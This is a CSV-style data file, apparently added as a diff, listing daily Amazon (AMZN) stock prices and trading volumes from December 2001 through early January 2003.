+2001-12-06,12.039999961853027,12.399999618530273,11.850000381469727,12.100000381469727,12.100000381469727,12484600,AMZN
+2001-12-07,12.289999961853027,12.300000190734863,11.5,11.710000038146973,11.710000038146973,7088000,AMZN
+2001-12-10,11.550000190734863,12.149999618530273,11.4399995803833,11.649999618530273,11.649999618530273,8515900,AMZN
+2001-12-11,12.0,12.430000305175781,11.779999732971191,12.239999771118164,12.239999771118164,14134000,AMZN
+2001-12-12,12.430000305175781,12.430000305175781,11.630000114440918,11.90999984741211,11.90999984741211,8075100,AMZN
+2001-12-13,11.539999961853027,11.800000190734863,10.850000381469727,10.890000343322754,10.890000343322754,7874100,AMZN
+2001-12-14,11.100000381469727,11.199999809265137,10.069999694824219,11.0,11.0,10024600,AMZN
+2001-12-17,11.100000381469727,11.140000343322754,10.180000305175781,10.8100004196167,10.8100004196167,8599300,AMZN
+2001-12-18,11.050000190734863,11.359999656677246,10.619999885559082,10.859999656677246,10.859999656677246,7354200,AMZN
+2001-12-19,10.729999542236328,11.149999618530273,10.510000228881836,10.710000038146973,10.710000038146973,7003700,AMZN
+2001-12-20,10.569999694824219,10.829999923706055,10.140000343322754,10.149999618530273,10.149999618530273,7851200,AMZN
+2001-12-21,10.3100004196167,11.0600004196167,10.0,10.0,10.0,13944900,AMZN
+2001-12-24,10.149999618530273,10.220000267028809,9.510000228881836,9.829999923706055,9.829999923706055,6236900,AMZN
+2001-12-26,10.970000267028809,11.279999732971191,10.869999885559082,11.100000381469727,11.100000381469727,18198500,AMZN
+2001-12-27,11.329999923706055,11.489999771118164,10.569999694824219,10.600000381469727,10.600000381469727,10840100,AMZN
+2001-12-28,10.90999984741211,11.079999923706055,10.6899995803833,10.899999618530273,10.899999618530273,10257900,AMZN
+2001-12-31,11.069999694824219,11.1899995803833,10.739999771118164,10.819999694824219,10.819999694824219,6034700,AMZN
+2002-01-02,10.930000305175781,11.0,10.479999542236328,10.960000038146973,10.960000038146973,6519600,AMZN
+2002-01-03,11.130000114440918,11.9399995803833,11.050000190734863,11.899999618530273,11.899999618530273,10875700,AMZN
+2002-01-04,12.020000457763672,12.399999618530273,11.949999809265137,12.25,12.25,12687300,AMZN
+2002-01-07,12.079999923706055,12.510000228881836,12.079999923706055,12.34000015258789,12.34000015258789,12182900,AMZN
+2002-01-08,12.270000457763672,12.319999694824219,11.75,11.850000381469727,11.850000381469727,6041100,AMZN
+2002-01-09,11.960000038146973,12.170000076293945,11.300000190734863,11.529999732971191,11.529999732971191,10879600,AMZN
+2002-01-10,11.65999984741211,11.670000076293945,10.869999885559082,11.039999961853027,11.039999961853027,8125900,AMZN
+2002-01-11,11.029999732971191,11.34000015258789,10.930000305175781,11.029999732971191,11.029999732971191,4276800,AMZN
+2002-01-14,10.800000190734863,10.829999923706055,10.09000015258789,10.109999656677246,10.109999656677246,5973300,AMZN
+2002-01-15,10.34000015258789,10.420000076293945,10.15999984741211,10.289999961853027,10.289999961853027,5092300,AMZN
+2002-01-16,10.010000228881836,10.010000228881836,9.029999732971191,9.130000114440918,9.130000114440918,15039900,AMZN
+2002-01-17,9.819999694824219,9.850000381469727,9.399999618530273,9.739999771118164,9.739999771118164,16630700,AMZN
+2002-01-18,9.600000381469727,10.550000190734863,9.390000343322754,10.15999984741211,10.15999984741211,11493500,AMZN
+2002-01-22,12.739999771118164,12.789999961853027,12.140000343322754,12.600000381469727,12.600000381469727,56645900,AMZN
+2002-01-23,12.489999771118164,12.600000381469727,11.899999618530273,12.470000267028809,12.470000267028809,18031600,AMZN
+2002-01-24,12.75,14.0600004196167,12.710000038146973,14.010000228881836,14.010000228881836,23468600,AMZN
+2002-01-25,13.5600004196167,15.390000343322754,13.390000343322754,14.4399995803833,14.4399995803833,30276500,AMZN
+2002-01-28,14.859999656677246,15.770000457763672,14.760000228881836,15.5,15.5,23016000,AMZN
+2002-01-29,15.539999961853027,15.550000190734863,13.970000267028809,14.220000267028809,14.220000267028809,20244900,AMZN
+2002-01-30,13.979999542236328,14.25,13.199999809265137,13.899999618530273,13.899999618530273,14751800,AMZN
+2002-01-31,14.119999885559082,14.489999771118164,13.40999984741211,14.1899995803833,14.1899995803833,10485300,AMZN
+2002-02-01,14.069999694824219,14.09000015258789,13.350000381469727,13.729999542236328,13.729999542236328,7801400,AMZN
+2002-02-04,12.90999984741211,13.09000015258789,12.430000305175781,12.529999732971191,12.529999732971191,19135800,AMZN
+2002-02-05,11.979999542236328,12.289999961853027,11.15999984741211,11.5,11.5,14315700,AMZN
+2002-02-06,11.899999618530273,12.0,11.199999809265137,11.260000228881836,11.260000228881836,8859400,AMZN
+2002-02-07,11.25,11.850000381469727,11.0600004196167,11.239999771118164,11.239999771118164,7172400,AMZN
+2002-02-08,11.510000228881836,12.670000076293945,11.5,12.520000457763672,12.520000457763672,6085600,AMZN
+2002-02-11,12.640000343322754,13.5,12.539999961853027,13.300000190734863,13.300000190734863,9469700,AMZN
+2002-02-12,13.029999732971191,13.239999771118164,12.5,12.899999618530273,12.899999618530273,7463400,AMZN
+2002-02-13,13.100000381469727,13.329999923706055,13.0600004196167,13.289999961853027,13.289999961853027,6040800,AMZN
+2002-02-14,13.34000015258789,14.260000228881836,13.300000190734863,13.880000114440918,13.880000114440918,9281500,AMZN
+2002-02-15,13.90999984741211,14.039999961853027,13.270000457763672,13.40999984741211,13.40999984741211,7265400,AMZN
+2002-02-19,12.949999809265137,13.84000015258789,12.800000190734863,13.010000228881836,13.010000228881836,8291900,AMZN
+2002-02-20,13.1899995803833,13.399999618530273,12.149999618530273,12.960000038146973,12.960000038146973,8016100,AMZN
+2002-02-21,12.90999984741211,13.649999618530273,12.899999618530273,13.260000228881836,13.260000228881836,8276200,AMZN
+2002-02-22,13.050000190734863,13.229999542236328,12.699999809265137,13.069999694824219,13.069999694824219,7865400,AMZN
+2002-02-25,13.09000015258789,13.739999771118164,13.0,13.729999542236328,13.729999542236328,5734700,AMZN
+2002-02-26,13.510000228881836,14.489999771118164,13.449999809265137,14.399999618530273,14.399999618530273,8310500,AMZN
+2002-02-27,14.550000190734863,14.729999542236328,14.119999885559082,14.270000457763672,14.270000457763672,8550600,AMZN
+2002-02-28,14.289999961853027,14.75,13.930000305175781,14.100000381469727,14.100000381469727,6052400,AMZN
+2002-03-01,14.130000114440918,15.399999618530273,14.119999885559082,15.390000343322754,15.390000343322754,9839200,AMZN
+2002-03-04,15.420000076293945,16.489999771118164,15.399999618530273,16.479999542236328,16.479999542236328,13928200,AMZN
+2002-03-05,16.0,16.68000030517578,15.529999732971191,15.970000267028809,15.970000267028809,8809700,AMZN
+2002-03-06,14.819999694824219,16.59000015258789,14.819999694824219,16.329999923706055,16.329999923706055,14262700,AMZN
+2002-03-07,16.40999984741211,16.950000762939453,15.399999618530273,15.619999885559082,15.619999885559082,9272300,AMZN
+2002-03-08,16.25,16.959999084472656,15.930000305175781,16.350000381469727,16.350000381469727,9434800,AMZN
+2002-03-11,16.040000915527344,16.8799991607666,15.859999656677246,16.709999084472656,16.709999084472656,6624700,AMZN
+2002-03-12,16.350000381469727,16.59000015258789,16.040000915527344,16.309999465942383,16.309999465942383,5619100,AMZN
+2002-03-13,16.049999237060547,16.34000015258789,15.640000343322754,15.739999771118164,15.739999771118164,5559400,AMZN
+2002-03-14,14.989999771118164,15.5,14.279999732971191,14.479999542236328,14.479999542236328,15169300,AMZN
+2002-03-15,14.270000457763672,14.289999961853027,13.550000190734863,14.029999732971191,14.029999732971191,12320700,AMZN
+2002-03-18,14.149999618530273,15.279999732971191,14.140000343322754,15.010000228881836,15.010000228881836,9831800,AMZN
+2002-03-19,15.149999618530273,15.399999618530273,14.5600004196167,14.65999984741211,14.65999984741211,4893700,AMZN
+2002-03-20,14.479999542236328,15.130000114440918,14.300000190734863,14.5,14.5,7179300,AMZN
+2002-03-21,14.619999885559082,15.239999771118164,14.5600004196167,15.170000076293945,15.170000076293945,5577900,AMZN
+2002-03-22,15.119999885559082,15.600000381469727,15.100000381469727,15.529999732971191,15.529999732971191,5185000,AMZN
+2002-03-25,15.470000267028809,15.729999542236328,14.720000267028809,14.739999771118164,14.739999771118164,5116100,AMZN
+2002-03-26,14.640000343322754,15.449999809265137,14.550000190734863,14.829999923706055,14.829999923706055,4925100,AMZN
+2002-03-27,13.899999618530273,14.350000381469727,13.699999809265137,14.25,14.25,8146300,AMZN
+2002-03-28,14.399999618530273,14.649999618530273,14.25,14.300000190734863,14.300000190734863,3122500,AMZN
+2002-04-01,14.279999732971191,14.800000190734863,14.140000343322754,14.800000190734863,14.800000190734863,4767900,AMZN
+2002-04-02,14.640000343322754,15.09000015258789,14.1899995803833,14.25,14.25,4771400,AMZN
+2002-04-03,14.369999885559082,14.449999809265137,13.600000381469727,13.670000076293945,13.670000076293945,4534100,AMZN
+2002-04-04,13.729999542236328,13.800000190734863,13.229999542236328,13.539999961853027,13.539999961853027,5731700,AMZN
+2002-04-05,13.670000076293945,14.039999961853027,13.3100004196167,13.5,13.5,4500000,AMZN
+2002-04-08,12.970000267028809,13.960000038146973,12.960000038146973,13.949999809265137,13.949999809265137,5277800,AMZN
+2002-04-09,14.069999694824219,14.59000015258789,13.5600004196167,13.600000381469727,13.600000381469727,6459000,AMZN
+2002-04-10,13.760000228881836,14.0,13.050000190734863,13.479999542236328,13.479999542236328,5256700,AMZN
+2002-04-11,13.279999732971191,13.279999732971191,12.520000457763672,12.739999771118164,12.739999771118164,5957600,AMZN
+2002-04-12,12.899999618530273,13.609999656677246,12.850000381469727,13.3100004196167,13.3100004196167,5379100,AMZN
+2002-04-15,13.420000076293945,14.100000381469727,13.350000381469727,13.890000343322754,13.890000343322754,4753700,AMZN
+2002-04-16,14.180000305175781,14.289999961853027,13.720000267028809,14.010000228881836,14.010000228881836,3681000,AMZN
+2002-04-17,14.239999771118164,15.0,14.239999771118164,14.819999694824219,14.819999694824219,7756100,AMZN
+2002-04-18,14.699999809265137,14.859999656677246,13.949999809265137,14.260000228881836,14.260000228881836,3876400,AMZN
+2002-04-19,14.380000114440918,14.739999771118164,14.149999618530273,14.529999732971191,14.529999732971191,3727600,AMZN
+2002-04-22,14.579999923706055,14.850000381469727,14.149999618530273,14.3100004196167,14.3100004196167,5290300,AMZN
+2002-04-23,14.350000381469727,14.75,13.880000114440918,14.0600004196167,14.0600004196167,8076900,AMZN
+2002-04-24,15.229999542236328,16.850000381469727,15.050000190734863,16.790000915527344,16.790000915527344,34459400,AMZN
+2002-04-25,16.510000228881836,17.049999237060547,16.40999984741211,16.81999969482422,16.81999969482422,11730200,AMZN
+2002-04-26,16.860000610351562,16.950000762939453,16.31999969482422,16.90999984741211,16.90999984741211,8135700,AMZN
+2002-04-29,16.75,17.0,15.899999618530273,16.18000030517578,16.18000030517578,8415200,AMZN
+2002-04-30,16.1299991607666,16.760000228881836,15.930000305175781,16.690000534057617,16.690000534057617,6420800,AMZN
+2002-05-01,16.549999237060547,17.049999237060547,16.420000076293945,16.489999771118164,16.489999771118164,7701300,AMZN
+2002-05-02,16.43000030517578,16.649999618530273,16.25,16.31999969482422,16.31999969482422,4819000,AMZN
+2002-05-03,16.229999542236328,16.399999618530273,15.75,16.049999237060547,16.049999237060547,5161000,AMZN
+2002-05-06,15.9399995803833,16.489999771118164,15.75,16.1200008392334,16.1200008392334,5352600,AMZN
+2002-05-07,16.110000610351562,16.350000381469727,16.030000686645508,16.110000610351562,16.110000610351562,5543700,AMZN
+2002-05-08,16.549999237060547,17.459999084472656,16.5,17.31999969482422,17.31999969482422,7888400,AMZN
+2002-05-09,17.1200008392334,18.229999542236328,17.100000381469727,17.729999542236328,17.729999542236328,11002300,AMZN
+2002-05-10,17.889999389648438,17.959999084472656,16.799999237060547,16.940000534057617,16.940000534057617,7572800,AMZN
+2002-05-13,17.170000076293945,17.6299991607666,16.850000381469727,17.31999969482422,17.31999969482422,6700100,AMZN
+2002-05-14,18.040000915527344,19.450000762939453,18.020000457763672,18.809999465942383,18.809999465942383,14659700,AMZN
+2002-05-15,18.68000030517578,20.399999618530273,18.350000381469727,19.940000534057617,19.940000534057617,12898100,AMZN
+2002-05-16,19.510000228881836,19.950000762939453,19.290000915527344,19.610000610351562,19.610000610351562,7815700,AMZN
+2002-05-17,19.969999313354492,20.0,18.809999465942383,19.15999984741211,19.15999984741211,6446900,AMZN
+2002-05-20,18.799999237060547,19.479999542236328,18.770000457763672,19.389999389648438,19.389999389648438,8460800,AMZN
+2002-05-21,19.540000915527344,19.799999237060547,18.549999237060547,18.760000228881836,18.760000228881836,7763500,AMZN
+2002-05-22,18.670000076293945,19.1299991607666,18.219999313354492,18.75,18.75,5075200,AMZN
+2002-05-23,18.84000015258789,19.549999237060547,18.610000610351562,19.450000762939453,19.450000762939453,5648200,AMZN
+2002-05-24,19.399999618530273,19.690000534057617,19.059999465942383,19.469999313354492,19.469999313354492,4250300,AMZN
+2002-05-28,19.56999969482422,19.610000610351562,18.770000457763672,19.059999465942383,19.059999465942383,3953300,AMZN
+2002-05-29,18.81999969482422,19.100000381469727,18.799999237060547,18.90999984741211,18.90999984741211,3614100,AMZN
+2002-05-30,18.700000762939453,18.940000534057617,18.079999923706055,18.3700008392334,18.3700008392334,7432100,AMZN
+2002-05-31,18.5,18.889999389648438,18.200000762939453,18.229999542236328,18.229999542236328,5081400,AMZN
+2002-06-03,18.309999465942383,18.5,17.93000030517578,17.959999084472656,17.959999084472656,3716400,AMZN
+2002-06-04,17.799999237060547,18.139999389648438,17.469999313354492,17.969999313354492,17.969999313354492,6849700,AMZN
+2002-06-05,17.979999542236328,18.18000030517578,17.450000762939453,17.989999771118164,17.989999771118164,4372500,AMZN
+2002-06-06,17.889999389648438,18.40999984741211,17.760000228881836,18.170000076293945,18.170000076293945,5250000,AMZN
+2002-06-07,17.889999389648438,18.649999618530273,17.850000381469727,18.579999923706055,18.579999923706055,5358000,AMZN
+2002-06-10,17.899999618530273,18.1200008392334,17.020000457763672,17.299999237060547,17.299999237060547,11082400,AMZN
+2002-06-11,17.309999465942383,17.790000915527344,17.1200008392334,17.139999389648438,17.139999389648438,5520800,AMZN
+2002-06-12,17.049999237060547,17.149999618530273,16.260000228881836,17.079999923706055,17.079999923706055,7331200,AMZN
+2002-06-13,17.0,17.5,16.739999771118164,17.43000030517578,17.43000030517578,4892900,AMZN
+2002-06-14,17.139999389648438,17.399999618530273,16.260000228881836,16.81999969482422,16.81999969482422,7973200,AMZN
+2002-06-17,16.950000762939453,18.479999542236328,16.860000610351562,18.40999984741211,18.40999984741211,9051600,AMZN
+2002-06-18,18.1299991607666,19.15999984741211,18.09000015258789,18.780000686645508,18.780000686645508,7962100,AMZN
+2002-06-19,18.489999771118164,19.100000381469727,18.270000457763672,18.299999237060547,18.299999237060547,7420300,AMZN
+2002-06-20,18.31999969482422,18.3799991607666,17.34000015258789,17.549999237060547,17.549999237060547,8697000,AMZN
+2002-06-21,17.600000381469727,17.790000915527344,17.34000015258789,17.530000686645508,17.530000686645508,5176800,AMZN
+2002-06-24,17.43000030517578,17.780000686645508,16.940000534057617,17.510000228881836,17.510000228881836,5956800,AMZN
+2002-06-25,16.889999389648438,16.950000762939453,15.039999961853027,15.34000015258789,15.34000015258789,15304000,AMZN
+2002-06-26,14.6899995803833,15.930000305175781,14.680000305175781,15.850000381469727,15.850000381469727,8272200,AMZN
+2002-06-27,16.110000610351562,16.469999313354492,15.300000190734863,15.859999656677246,15.859999656677246,6192000,AMZN
+2002-06-28,15.6899995803833,16.360000610351562,15.399999618530273,16.25,16.25,6237900,AMZN
+2002-07-01,16.170000076293945,16.170000076293945,13.520000457763672,13.550000190734863,13.550000190734863,13536500,AMZN
+2002-07-02,13.600000381469727,14.15999984741211,13.0,13.319999694824219,13.319999694824219,8669900,AMZN
+2002-07-03,13.380000114440918,14.460000038146973,12.890000343322754,14.25,14.25,7703700,AMZN
+2002-07-05,14.390000343322754,15.229999542236328,14.369999885559082,15.210000038146973,15.210000038146973,3366900,AMZN
+2002-07-08,14.949999809265137,15.850000381469727,14.680000305175781,14.9399995803833,14.9399995803833,5890000,AMZN
+2002-07-09,15.050000190734863,16.030000686645508,14.979999542236328,15.600000381469727,15.600000381469727,7528600,AMZN
+2002-07-10,15.649999618530273,15.9399995803833,14.649999618530273,14.960000038146973,14.960000038146973,6761200,AMZN
+2002-07-11,14.65999984741211,15.84000015258789,14.0,15.550000190734863,15.550000190734863,7317100,AMZN
+2002-07-12,15.75,16.190000534057617,15.25,15.430000305175781,15.430000305175781,7000000,AMZN
+2002-07-15,15.470000267028809,15.979999542236328,15.0,15.9399995803833,15.9399995803833,6026100,AMZN
+2002-07-16,15.6899995803833,17.06999969482422,15.65999984741211,16.290000915527344,16.290000915527344,10790700,AMZN
+2002-07-17,16.84000015258789,17.15999984741211,15.319999694824219,16.15999984741211,16.15999984741211,7322100,AMZN
+2002-07-18,15.920000076293945,16.59000015258789,15.529999732971191,15.550000190734863,15.550000190734863,6856700,AMZN
+2002-07-19,15.359999656677246,15.710000038146973,15.069999694824219,15.289999961853027,15.289999961853027,6105800,AMZN
+2002-07-22,15.149999618530273,15.649999618530273,15.0,15.5,15.5,9332900,AMZN
+2002-07-23,15.539999961853027,15.880000114440918,14.399999618530273,14.550000190734863,14.550000190734863,11291400,AMZN
+2002-07-24,12.369999885559082,14.15999984741211,12.260000228881836,14.100000381469727,14.100000381469727,19766300,AMZN
+2002-07-25,13.710000038146973,14.010000228881836,12.399999618530273,12.489999771118164,12.489999771118164,9360200,AMZN
+2002-07-26,12.720000267028809,13.109999656677246,12.5,12.930000305175781,12.930000305175781,5556700,AMZN
+2002-07-29,13.25,14.460000038146973,13.229999542236328,14.329999923706055,14.329999923706055,7049500,AMZN
+2002-07-30,14.1899995803833,14.899999618530273,14.079999923706055,14.770000457763672,14.770000457763672,5558900,AMZN
+2002-07-31,14.449999809265137,14.65999984741211,14.140000343322754,14.449999809265137,14.449999809265137,3801000,AMZN
+2002-08-01,14.3100004196167,14.5,13.989999771118164,14.15999984741211,14.15999984741211,6066800,AMZN
+2002-08-02,14.130000114440918,14.140000343322754,13.449999809265137,13.84000015258789,13.84000015258789,4178600,AMZN
+2002-08-05,13.649999618530273,13.789999961853027,12.779999732971191,12.869999885559082,12.869999885559082,3857300,AMZN
+2002-08-06,13.270000457763672,13.899999618530273,13.140000343322754,13.739999771118164,13.739999771118164,4701900,AMZN
+2002-08-07,13.930000305175781,13.9399995803833,12.850000381469727,13.600000381469727,13.600000381469727,5555700,AMZN
+2002-08-08,13.239999771118164,14.100000381469727,13.0600004196167,13.899999618530273,13.899999618530273,5470800,AMZN
+2002-08-09,13.609999656677246,14.75,13.600000381469727,14.260000228881836,14.260000228881836,4777900,AMZN
+2002-08-12,14.140000343322754,14.489999771118164,13.949999809265137,14.460000038146973,14.460000038146973,3503300,AMZN
+2002-08-13,14.300000190734863,14.670000076293945,13.899999618530273,13.930000305175781,13.930000305175781,5234400,AMZN
+2002-08-14,13.930000305175781,14.0600004196167,13.319999694824219,13.90999984741211,13.90999984741211,6935200,AMZN
+2002-08-15,14.050000190734863,14.75,13.920000076293945,14.619999885559082,14.619999885559082,5046600,AMZN
+2002-08-16,14.390000343322754,15.010000228881836,14.3100004196167,14.899999618530273,14.899999618530273,3652100,AMZN
+2002-08-19,14.84000015258789,15.520000457763672,14.670000076293945,15.5,15.5,4277100,AMZN
+2002-08-20,15.380000114440918,15.989999771118164,15.3100004196167,15.979999542236328,15.979999542236328,7701300,AMZN
+2002-08-21,15.949999809265137,15.970000267028809,15.199999809265137,15.380000114440918,15.380000114440918,7284200,AMZN
+2002-08-22,15.329999923706055,15.949999809265137,14.920000076293945,15.729999542236328,15.729999542236328,6854100,AMZN
+2002-08-23,15.600000381469727,15.720000267028809,14.949999809265137,15.170000076293945,15.170000076293945,5038800,AMZN
+2002-08-26,15.289999961853027,15.4399995803833,14.680000305175781,14.930000305175781,14.930000305175781,6409600,AMZN
+2002-08-27,15.039999961853027,15.270000457763672,14.5,14.520000457763672,14.520000457763672,3578900,AMZN
+2002-08-28,14.479999542236328,14.970000267028809,14.350000381469727,14.569999694824219,14.569999694824219,4985500,AMZN
+2002-08-29,14.430000305175781,15.1899995803833,14.210000038146973,15.140000343322754,15.140000343322754,6791800,AMZN
+2002-08-30,14.90999984741211,15.380000114440918,14.75,14.9399995803833,14.9399995803833,3439700,AMZN
+2002-09-03,14.710000038146973,15.029999732971191,14.489999771118164,14.600000381469727,14.600000381469727,4680200,AMZN
+2002-09-04,14.65999984741211,14.960000038146973,14.260000228881836,14.829999923706055,14.829999923706055,4430400,AMZN
+2002-09-05,14.579999923706055,14.720000267028809,14.239999771118164,14.25,14.25,5320200,AMZN
+2002-09-06,14.5600004196167,15.479999542236328,14.5600004196167,15.3100004196167,15.3100004196167,4995300,AMZN
+2002-09-09,15.119999885559082,16.649999618530273,15.0600004196167,16.510000228881836,16.510000228881836,8822500,AMZN
+2002-09-10,16.530000686645508,17.350000381469727,16.420000076293945,17.1299991607666,17.1299991607666,11248800,AMZN
+2002-09-11,17.149999618530273,17.850000381469727,17.040000915527344,17.110000610351562,17.110000610351562,6663200,AMZN
+2002-09-12,16.829999923706055,17.1299991607666,16.610000610351562,16.75,16.75,7065100,AMZN
+2002-09-13,16.690000534057617,16.989999771118164,16.5,16.610000610351562,16.610000610351562,3654900,AMZN
+2002-09-16,16.510000228881836,16.93000030517578,16.450000762939453,16.709999084472656,16.709999084472656,2962500,AMZN
+2002-09-17,17.0,17.75,16.770000457763672,17.350000381469727,17.350000381469727,8621200,AMZN
+2002-09-18,17.219999313354492,17.93000030517578,16.950000762939453,17.729999542236328,17.729999542236328,8391000,AMZN
+2002-09-19,17.399999618530273,17.639999389648438,17.170000076293945,17.209999084472656,17.209999084472656,4841100,AMZN
+2002-09-20,17.450000762939453,17.639999389648438,15.449999809265137,15.859999656677246,15.859999656677246,12605600,AMZN
+2002-09-23,15.600000381469727,16.440000534057617,15.59000015258789,16.049999237060547,16.049999237060547,7404500,AMZN
+2002-09-24,15.869999885559082,16.3700008392334,15.600000381469727,15.930000305175781,15.930000305175781,7072900,AMZN
+2002-09-25,16.170000076293945,16.389999389648438,15.289999961853027,15.729999542236328,15.729999542236328,9339000,AMZN
+2002-09-26,15.930000305175781,17.350000381469727,15.710000038146973,17.149999618530273,17.149999618530273,11635000,AMZN
+2002-09-27,16.850000381469727,17.399999618530273,16.81999969482422,17.010000228881836,17.010000228881836,7033700,AMZN
+2002-09-30,16.639999389648438,16.850000381469727,15.850000381469727,15.930000305175781,15.930000305175781,9239900,AMZN
+2002-10-01,16.229999542236328,17.059999465942383,16.010000228881836,16.950000762939453,16.950000762939453,9217300,AMZN
+2002-10-02,16.809999465942383,17.639999389648438,16.700000762939453,17.010000228881836,17.010000228881836,8223600,AMZN
+2002-10-03,16.790000915527344,17.25,16.65999984741211,16.75,16.75,6354100,AMZN
+2002-10-04,16.950000762939453,17.149999618530273,16.3799991607666,16.549999237060547,16.549999237060547,7649400,AMZN
+2002-10-07,16.549999237060547,16.959999084472656,16.3700008392334,16.639999389648438,16.639999389648438,5748100,AMZN
+2002-10-08,16.8799991607666,17.059999465942383,16.459999084472656,16.940000534057617,16.940000534057617,6098000,AMZN
+2002-10-09,16.700000762939453,17.1299991607666,16.600000381469727,16.860000610351562,16.860000610351562,6083500,AMZN
+2002-10-10,17.15999984741211,17.969999313354492,17.149999618530273,17.959999084472656,17.959999084472656,10528600,AMZN
+2002-10-11,18.18000030517578,18.739999771118164,18.100000381469727,18.459999084472656,18.459999084472656,9628500,AMZN
+2002-10-14,18.18000030517578,19.229999542236328,18.170000076293945,19.200000762939453,19.200000762939453,9872400,AMZN
+2002-10-15,19.84000015258789,20.139999389648438,18.649999618530273,18.940000534057617,18.940000534057617,14009200,AMZN
+2002-10-16,18.270000457763672,19.65999984741211,18.25,19.489999771118164,19.489999771118164,8742100,AMZN
+2002-10-17,20.100000381469727,20.219999313354492,18.43000030517578,18.739999771118164,18.739999771118164,14180900,AMZN
+2002-10-18,18.479999542236328,19.290000915527344,18.360000610351562,19.040000915527344,19.040000915527344,6568300,AMZN
+2002-10-21,18.889999389648438,19.530000686645508,18.719999313354492,19.260000228881836,19.260000228881836,6757700,AMZN
+2002-10-22,19.010000228881836,19.90999984741211,18.899999618530273,19.3799991607666,19.3799991607666,8645700,AMZN
+2002-10-23,19.520000457763672,19.81999969482422,19.3700008392334,19.75,19.75,6648100,AMZN
+2002-10-24,19.950000762939453,20.260000228881836,19.799999237060547,19.860000610351562,19.860000610351562,12929900,AMZN
+2002-10-25,18.84000015258789,19.360000610351562,18.479999542236328,19.299999237060547,19.299999237060547,15900000,AMZN
+2002-10-28,19.280000686645508,19.729999542236328,18.399999618530273,18.59000015258789,18.59000015258789,8799800,AMZN
+2002-10-29,18.510000228881836,18.920000076293945,18.06999969482422,18.56999969482422,18.56999969482422,7242000,AMZN
+2002-10-30,18.850000381469727,19.219999313354492,18.469999313354492,19.079999923706055,19.079999923706055,6888800,AMZN
+2002-10-31,19.030000686645508,19.479999542236328,18.850000381469727,19.360000610351562,19.360000610351562,6822600,AMZN
+2002-11-01,19.219999313354492,19.899999618530273,19.09000015258789,19.799999237060547,19.799999237060547,5549400,AMZN
+2002-11-04,19.389999389648438,19.809999465942383,18.59000015258789,18.780000686645508,18.780000686645508,12963500,AMZN
+2002-11-05,18.6299991607666,18.8700008392334,18.200000762939453,18.719999313354492,18.719999313354492,7942400,AMZN
+2002-11-06,18.770000457763672,19.389999389648438,18.260000228881836,19.34000015258789,19.34000015258789,7973400,AMZN
+2002-11-07,18.850000381469727,19.299999237060547,18.770000457763672,19.1200008392334,19.1200008392334,6419700,AMZN
+2002-11-08,19.040000915527344,19.65999984741211,18.809999465942383,19.510000228881836,19.510000228881836,7032100,AMZN
+2002-11-11,19.399999618530273,19.549999237060547,18.799999237060547,19.0,19.0,5749600,AMZN
+2002-11-12,19.010000228881836,19.989999771118164,19.010000228881836,19.81999969482422,19.81999969482422,10462200,AMZN
+2002-11-13,19.610000610351562,21.0,19.610000610351562,20.40999984741211,20.40999984741211,18206200,AMZN
+2002-11-14,20.989999771118164,21.489999771118164,20.950000762939453,21.209999084472656,21.209999084472656,13177300,AMZN
+2002-11-15,21.149999618530273,22.350000381469727,21.09000015258789,22.209999084472656,22.209999084472656,12258400,AMZN
+2002-11-18,22.649999618530273,23.739999771118164,22.149999618530273,22.420000076293945,22.420000076293945,25333500,AMZN
+2002-11-19,21.8799991607666,21.889999389648438,21.229999542236328,21.290000915527344,21.290000915527344,12258900,AMZN
+2002-11-20,21.350000381469727,23.0,21.219999313354492,22.899999618530273,22.899999618530273,13294400,AMZN
+2002-11-21,23.329999923706055,23.850000381469727,23.209999084472656,23.399999618530273,23.399999618530273,11288500,AMZN
+2002-11-22,23.200000762939453,24.280000686645508,23.100000381469727,23.989999771118164,23.989999771118164,11686600,AMZN
+2002-11-25,24.030000686645508,24.5,23.81999969482422,24.25,24.25,10091100,AMZN
+2002-11-26,24.020000457763672,24.200000762939453,23.3799991607666,23.399999618530273,23.399999618530273,6405800,AMZN
+2002-11-27,23.719999313354492,24.239999771118164,23.709999084472656,24.079999923706055,24.079999923706055,5666000,AMZN
+2002-11-29,24.149999618530273,24.3799991607666,23.329999923706055,23.350000381469727,23.350000381469727,2577300,AMZN
+2002-12-02,24.149999618530273,25.0,24.0,24.110000610351562,24.110000610351562,11152500,AMZN
+2002-12-03,23.829999923706055,23.979999542236328,23.3799991607666,23.739999771118164,23.739999771118164,5901100,AMZN
+2002-12-04,23.479999542236328,23.799999237060547,22.959999084472656,23.389999389648438,23.389999389648438,7878900,AMZN
+2002-12-05,23.65999984741211,23.68000030517578,22.200000762939453,22.579999923706055,22.579999923706055,10642600,AMZN
+2002-12-06,21.700000762939453,22.690000534057617,21.510000228881836,22.610000610351562,22.610000610351562,9393500,AMZN
+2002-12-09,22.229999542236328,22.350000381469727,21.600000381469727,21.68000030517578,21.68000030517578,7454700,AMZN
+2002-12-10,21.959999084472656,21.989999771118164,21.239999771118164,21.860000610351562,21.860000610351562,7093700,AMZN
+2002-12-11,21.670000076293945,22.3799991607666,21.6200008392334,22.1299991607666,22.1299991607666,6387300,AMZN
+2002-12-12,22.469999313354492,22.6200008392334,21.809999465942383,22.299999237060547,22.299999237060547,5977500,AMZN
+2002-12-13,21.950000762939453,22.350000381469727,21.8700008392334,22.18000030517578,22.18000030517578,3859200,AMZN
+2002-12-16,22.229999542236328,22.530000686645508,22.040000915527344,22.510000228881836,22.510000228881836,4940700,AMZN
+2002-12-17,22.329999923706055,22.559999465942383,22.31999969482422,22.459999084472656,22.459999084472656,3419500,AMZN
+2002-12-18,22.25,22.260000228881836,21.979999542236328,22.100000381469727,22.100000381469727,3992800,AMZN
+2002-12-19,21.6299991607666,22.200000762939453,21.530000686645508,21.690000534057617,21.690000534057617,5814400,AMZN
+2002-12-20,21.790000915527344,22.010000228881836,21.600000381469727,21.93000030517578,21.93000030517578,4935300,AMZN
+2002-12-23,21.780000686645508,22.469999313354492,21.780000686645508,22.239999771118164,22.239999771118164,4424500,AMZN
+2002-12-24,22.18000030517578,22.280000686645508,21.8799991607666,21.8799991607666,21.8799991607666,2348600,AMZN
+2002-12-26,21.59000015258789,21.600000381469727,20.0,20.299999237060547,20.299999237060547,14199300,AMZN
+2002-12-27,19.969999313354492,20.100000381469727,18.43000030517578,18.860000610351562,18.860000610351562,21972800,AMZN
+2002-12-30,18.850000381469727,19.399999618530273,18.739999771118164,19.25,19.25,8284700,AMZN
+2002-12-31,19.25,19.559999465942383,18.829999923706055,18.889999389648438,18.889999389648438,5537000,AMZN
+2003-01-02,19.190000534057617,19.68000030517578,18.549999237060547,19.56999969482422,19.56999969482422,6484000,AMZN
